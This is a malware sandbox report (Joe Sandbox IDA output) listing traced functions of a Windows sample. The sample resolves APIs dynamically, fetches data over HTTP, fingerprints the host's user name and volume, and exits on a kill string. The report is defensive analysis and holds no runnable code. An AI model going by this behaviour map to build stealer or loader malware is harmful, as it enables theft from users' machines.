Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 87510aacc9bcb67afc7845e3624e64b63989dc95c0b7947c24d4ebb08fcb2b0c
Instruction ID: e76b1da6bf8dc359b18b1fea805a70fc40eb2620737c8070d62e6f2596d9eb9b
Opcode Fuzzy Hash: 87510aacc9bcb67afc7845e3624e64b63989dc95c0b7947c24d4ebb08fcb2b0c
Instruction Fuzzy Hash: 0112F972951118BAEB58EB90DC92FEEB33ABF55300F50419DB10662091EF706F49CF6A

Function 00647850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006311B7), ref: 00647880
RtlAllocateHeap.NTDLL(00000000), ref: 00647887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0064789F

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: c231deda2371d1bf1637c8e03044876dfc31978bf3df3461d29083163fa272de
Instruction ID: d4c7e7b7f10c2eecb08ff4ac2bfa319c652a6149412537238abafc0662b29288
Opcode Fuzzy Hash: c231deda2371d1bf1637c8e03044876dfc31978bf3df3461d29083163fa272de
Instruction Fuzzy Hash: C8F04FB1D44208AFC714DF98DD4ABAEBBB8FB44711F10026AFA05A2680C77555448BA2

Function 00631160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0063116A
ExitProcess.KERNEL32 ref: 0063117E

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 4d277f8fab47840d91b3a464fecd47aa6f504a1683e47d2058fd4109d5b00082
Instruction ID: 71474c03e4abb354d6985547a61f3e14403ed78f84a39a7cbfcc3a287a3ad20a
Opcode Fuzzy Hash: 4d277f8fab47840d91b3a464fecd47aa6f504a1683e47d2058fd4109d5b00082
Instruction Fuzzy Hash: 64D05E7490030CDBCB08DFE0D84D6DDBB78FB48312F000594D90962340EA3094C2CAA6

Function 00649C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01435A30), ref: 00649C2D
GetProcAddress.KERNEL32(74DD0000,014358B0), ref: 00649C45
GetProcAddress.KERNEL32(74DD0000,0144A828), ref: 00649C5E
GetProcAddress.KERNEL32(74DD0000,0144A858), ref: 00649C76
GetProcAddress.KERNEL32(74DD0000,0144A870), ref: 00649C8E
GetProcAddress.KERNEL32(74DD0000,0144A888), ref: 00649CA7
GetProcAddress.KERNEL32(74DD0000,0143CD60), ref: 00649CBF
GetProcAddress.KERNEL32(74DD0000,0144E198), ref: 00649CD7
GetProcAddress.KERNEL32(74DD0000,0144E228), ref: 00649CF0
GetProcAddress.KERNEL32(74DD0000,0144E078), ref: 00649D08
GetProcAddress.KERNEL32(74DD0000,0144E108), ref: 00649D20
GetProcAddress.KERNEL32(74DD0000,01435A50), ref: 00649D39
GetProcAddress.KERNEL32(74DD0000,01435930), ref: 00649D51
GetProcAddress.KERNEL32(74DD0000,01435830), ref: 00649D69
GetProcAddress.KERNEL32(74DD0000,01435950), ref: 00649D82
GetProcAddress.KERNEL32(74DD0000,0144E318), ref: 00649D9A
GetProcAddress.KERNEL32(74DD0000,0144E240), ref: 00649DB2
GetProcAddress.KERNEL32(74DD0000,0143CD88), ref: 00649DCB
GetProcAddress.KERNEL32(74DD0000,014359B0), ref: 00649DE3
GetProcAddress.KERNEL32(74DD0000,0144E1F8), ref: 00649DFB
GetProcAddress.KERNEL32(74DD0000,0144E2D0), ref: 00649E14
GetProcAddress.KERNEL32(74DD0000,0144E090), ref: 00649E2C
GetProcAddress.KERNEL32(74DD0000,0144E1C8), ref: 00649E44
GetProcAddress.KERNEL32(74DD0000,01435710), ref: 00649E5D
GetProcAddress.KERNEL32(74DD0000,0144E0F0), ref: 00649E75
GetProcAddress.KERNEL32(74DD0000,0144E138), ref: 00649E8D
GetProcAddress.KERNEL32(74DD0000,0144E120), ref: 00649EA6
GetProcAddress.KERNEL32(74DD0000,0144E150), ref: 00649EBE
GetProcAddress.KERNEL32(74DD0000,0144E300), ref: 00649ED6
GetProcAddress.KERNEL32(74DD0000,0144E258), ref: 00649EEF
GetProcAddress.KERNEL32(74DD0000,0144E330), ref: 00649F07
GetProcAddress.KERNEL32(74DD0000,0144E270), ref: 00649F1F
GetProcAddress.KERNEL32(74DD0000,0144E0A8), ref: 00649F38
GetProcAddress.KERNEL32(74DD0000,0144B8E0), ref: 00649F50
GetProcAddress.KERNEL32(74DD0000,0144E348), ref: 00649F68
GetProcAddress.KERNEL32(74DD0000,0144E0C0), ref: 00649F81
GetProcAddress.KERNEL32(74DD0000,014357D0), ref: 00649F99
GetProcAddress.KERNEL32(74DD0000,0144E180), ref: 00649FB1
GetProcAddress.KERNEL32(74DD0000,014359D0), ref: 00649FCA
GetProcAddress.KERNEL32(74DD0000,0144E288), ref: 00649FE2
GetProcAddress.KERNEL32(74DD0000,0144E0D8), ref: 00649FFA
GetProcAddress.KERNEL32(74DD0000,01435770), ref: 0064A013
GetProcAddress.KERNEL32(74DD0000,01435B70), ref: 0064A02B
LoadLibraryA.KERNEL32(0144E168,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A03D
LoadLibraryA.KERNEL32(0144E1E0,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A04E
LoadLibraryA.KERNEL32(0144E1B0,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A060
LoadLibraryA.KERNEL32(0144E360,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A072
LoadLibraryA.KERNEL32(0144E210,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A083
LoadLibraryA.KERNEL32(0144E2A0,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A095
LoadLibraryA.KERNEL32(0144E2B8,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A0A7
LoadLibraryA.KERNEL32(0144E2E8,?,00645CA3,00650AEB,?,?,?,?,?,?,?,?,?,?,00650AEA,00650AE3), ref: 0064A0B8
GetProcAddress.KERNEL32(75290000,01435AF0), ref: 0064A0DA
GetProcAddress.KERNEL32(75290000,0144E498), ref: 0064A0F2
GetProcAddress.KERNEL32(75290000,0144A038), ref: 0064A10A
GetProcAddress.KERNEL32(75290000,0144E450), ref: 0064A123
GetProcAddress.KERNEL32(75290000,01435BD0), ref: 0064A13B
GetProcAddress.KERNEL32(734C0000,0143C9F0), ref: 0064A160
GetProcAddress.KERNEL32(734C0000,01435B30), ref: 0064A179
GetProcAddress.KERNEL32(734C0000,0143C6A8), ref: 0064A191
GetProcAddress.KERNEL32(734C0000,0144E390), ref: 0064A1A9
GetProcAddress.KERNEL32(734C0000,0144E4F8), ref: 0064A1C2
GetProcAddress.KERNEL32(734C0000,01435C10), ref: 0064A1DA
GetProcAddress.KERNEL32(734C0000,01435C30), ref: 0064A1F2
GetProcAddress.KERNEL32(734C0000,0144E3F0), ref: 0064A20B
GetProcAddress.KERNEL32(752C0000,01435C50), ref: 0064A22C
GetProcAddress.KERNEL32(752C0000,01435D90), ref: 0064A244
GetProcAddress.KERNEL32(752C0000,0144E468), ref: 0064A25D
GetProcAddress.KERNEL32(752C0000,0144E510), ref: 0064A275
GetProcAddress.KERNEL32(752C0000,01435D10), ref: 0064A28D
GetProcAddress.KERNEL32(74EC0000,0143C608), ref: 0064A2B3
GetProcAddress.KERNEL32(74EC0000,0143C950), ref: 0064A2CB
GetProcAddress.KERNEL32(74EC0000,0144E438), ref: 0064A2E3
GetProcAddress.KERNEL32(74EC0000,01435D70), ref: 0064A2FC
GetProcAddress.KERNEL32(74EC0000,01435C70), ref: 0064A314
GetProcAddress.KERNEL32(74EC0000,0143CAB8), ref: 0064A32C
GetProcAddress.KERNEL32(75BD0000,0144E408), ref: 0064A352
GetProcAddress.KERNEL32(75BD0000,01435CB0), ref: 0064A36A
GetProcAddress.KERNEL32(75BD0000,0144A048), ref: 0064A382
GetProcAddress.KERNEL32(75BD0000,0144E378), ref: 0064A39B
GetProcAddress.KERNEL32(75BD0000,0144E3A8), ref: 0064A3B3
GetProcAddress.KERNEL32(75BD0000,01435DF0), ref: 0064A3CB
GetProcAddress.KERNEL32(75BD0000,01435BF0), ref: 0064A3E4
GetProcAddress.KERNEL32(75BD0000,0144E4B0), ref: 0064A3FC
GetProcAddress.KERNEL32(75BD0000,0144E480), ref: 0064A414
GetProcAddress.KERNEL32(75A70000,01435CD0), ref: 0064A436
GetProcAddress.KERNEL32(75A70000,0144E4C8), ref: 0064A44E
GetProcAddress.KERNEL32(75A70000,0144E528), ref: 0064A466
GetProcAddress.KERNEL32(75A70000,0144E4E0), ref: 0064A47F
GetProcAddress.KERNEL32(75A70000,0144E420), ref: 0064A497
GetProcAddress.KERNEL32(75450000,01435B50), ref: 0064A4B8
GetProcAddress.KERNEL32(75450000,01435B10), ref: 0064A4D1
GetProcAddress.KERNEL32(75DA0000,01435B90), ref: 0064A4F2
GetProcAddress.KERNEL32(75DA0000,0144E3C0), ref: 0064A50A
GetProcAddress.KERNEL32(6F070000,01435C90), ref: 0064A530
GetProcAddress.KERNEL32(6F070000,01435E10), ref: 0064A548
GetProcAddress.KERNEL32(6F070000,01435BB0), ref: 0064A560
GetProcAddress.KERNEL32(6F070000,0144E3D8), ref: 0064A579
GetProcAddress.KERNEL32(6F070000,01435CF0), ref: 0064A591
GetProcAddress.KERNEL32(6F070000,01435DB0), ref: 0064A5A9
GetProcAddress.KERNEL32(6F070000,01435D30), ref: 0064A5C2
GetProcAddress.KERNEL32(6F070000,01435D50), ref: 0064A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0064A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0064A607
GetProcAddress.KERNEL32(75AF0000,0144DDD8), ref: 0064A629
GetProcAddress.KERNEL32(75AF0000,0144A088), ref: 0064A641
GetProcAddress.KERNEL32(75AF0000,0144E000), ref: 0064A659
GetProcAddress.KERNEL32(75AF0000,0144E030), ref: 0064A672
GetProcAddress.KERNEL32(75D90000,01435DD0), ref: 0064A693
GetProcAddress.KERNEL32(6F9D0000,0144DE80), ref: 0064A6B4
GetProcAddress.KERNEL32(6F9D0000,01435E30), ref: 0064A6CD
GetProcAddress.KERNEL32(6F9D0000,0144E060), ref: 0064A6E5
GetProcAddress.KERNEL32(6F9D0000,0144DD90), ref: 0064A6FD

Strings

HttpQueryInfoA, xrefs: 0064A5FC
InternetSetOptionA, xrefs: 0064A5E5

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: a78891b89af925621977f9d8b2c64f23764dba4c888e7f038d2c6f9df3b3fdba
Instruction ID: e59b461554ecd30f97e51b8b3e09ec6393ed09eac91b197392a2ba03ca37d531
Opcode Fuzzy Hash: a78891b89af925621977f9d8b2c64f23764dba4c888e7f038d2c6f9df3b3fdba
Instruction Fuzzy Hash: 666228B5514200AFC34CDFA8ED8D96A3BF9F7C8641714852AA65D8327CD63AD8C1DB23

Function 00636280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

InternetOpenA.WININET(00650DFE,00000001,00000000,00000000,00000000), ref: 006362E1
StrCmpCA.SHLWAPI(?,014507B0), ref: 00636303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00636335
HttpOpenRequestA.WININET(00000000,GET,?,0144FDD8,00000000,00000000,00400100,00000000), ref: 00636385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006363BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006363D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006363FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0063646D
InternetCloseHandle.WININET(00000000), ref: 006364EF
InternetCloseHandle.WININET(00000000), ref: 006364F9
InternetCloseHandle.WININET(00000000), ref: 00636503

Strings

GET, xrefs: 0063637C
ERROR, xrefs: 00636407
ERROR, xrefs: 006364C9

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 8f0dfe6e6b7ecb01a50cdfe7ce6d92031c34d4c639524961f70541ad95e56e3d
Instruction ID: a6bad5663ef487828e490befeeee449513f597f867fd296b2eda8e1a99b5af02
Opcode Fuzzy Hash: 8f0dfe6e6b7ecb01a50cdfe7ce6d92031c34d4c639524961f70541ad95e56e3d
Instruction Fuzzy Hash: 4B714171A40218BBEB24DFD0CC49BEE77B9FB44700F108158F50A6B195DBB4AA85CF91

Function 00645510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A820: lstrlen.KERNEL32(00634F05,?,?,00634F05,00650DDE), ref: 0064A82B
Part of subcall function 0064A820: lstrcpy.KERNEL32(00650DDE,00000000), ref: 0064A885

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00645644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006456A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645857

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006451F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645228

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 006452C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00645318
Part of subcall function 006452C0: lstrlen.KERNEL32(00000000), ref: 0064532F
Part of subcall function 006452C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00645364
Part of subcall function 006452C0: lstrlen.KERNEL32(00000000), ref: 00645383
Part of subcall function 006452C0: lstrlen.KERNEL32(00000000), ref: 006453AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0064578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00645940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00645A0C
Sleep.KERNEL32(0000EA60), ref: 00645A1B

Strings

ERROR, xrefs: 00645932
ERROR, xrefs: 00645693
ERROR, xrefs: 00645636
ERROR, xrefs: 0064577D
ERROR, xrefs: 00645849
ERROR, xrefs: 006459FE

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: aa565ad9f4f52b18082d0d5b7e3309b85da843fb632ea07153fed06c443a4f24
Instruction ID: 7ec515429a8bbffb99872769a0329a2820def20e79008669ffcc16127b3c579f
Opcode Fuzzy Hash: aa565ad9f4f52b18082d0d5b7e3309b85da843fb632ea07153fed06c443a4f24
Instruction Fuzzy Hash: DBE14072950104ABDB58FBE0DC96AED733BBF95300F40812CB50766196EF34AB49CB96

Function 006417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006417C5
ExitProcess.KERNEL32 ref: 006417D1

Strings

block, xrefs: 006417B7

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: d1b3c7de53648eb632caf47f2618c984d3fe8d27f524b9fdf56749f9f9363322
Instruction ID: a1a1065e8b8ded0b52009e97946ab0977c24a0ed6cde0d87e888c84d9321f54e
Opcode Fuzzy Hash: d1b3c7de53648eb632caf47f2618c984d3fe8d27f524b9fdf56749f9f9363322
Instruction Fuzzy Hash: DC515EB5B1420AEFDB04DFA0D964ABE77B6BF45704F108058E806AB340D770E996CF62

Function 00647500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00647542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0064757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647603
RtlAllocateHeap.NTDLL(00000000), ref: 0064760A
wsprintfA.USER32 ref: 00647640

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Strings

:, xrefs: 0064755C
\, xrefs: 00647560
e, xrefs: 0064764D, 00647655, 0064761B, 00647623
C, xrefs: 0064754C

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
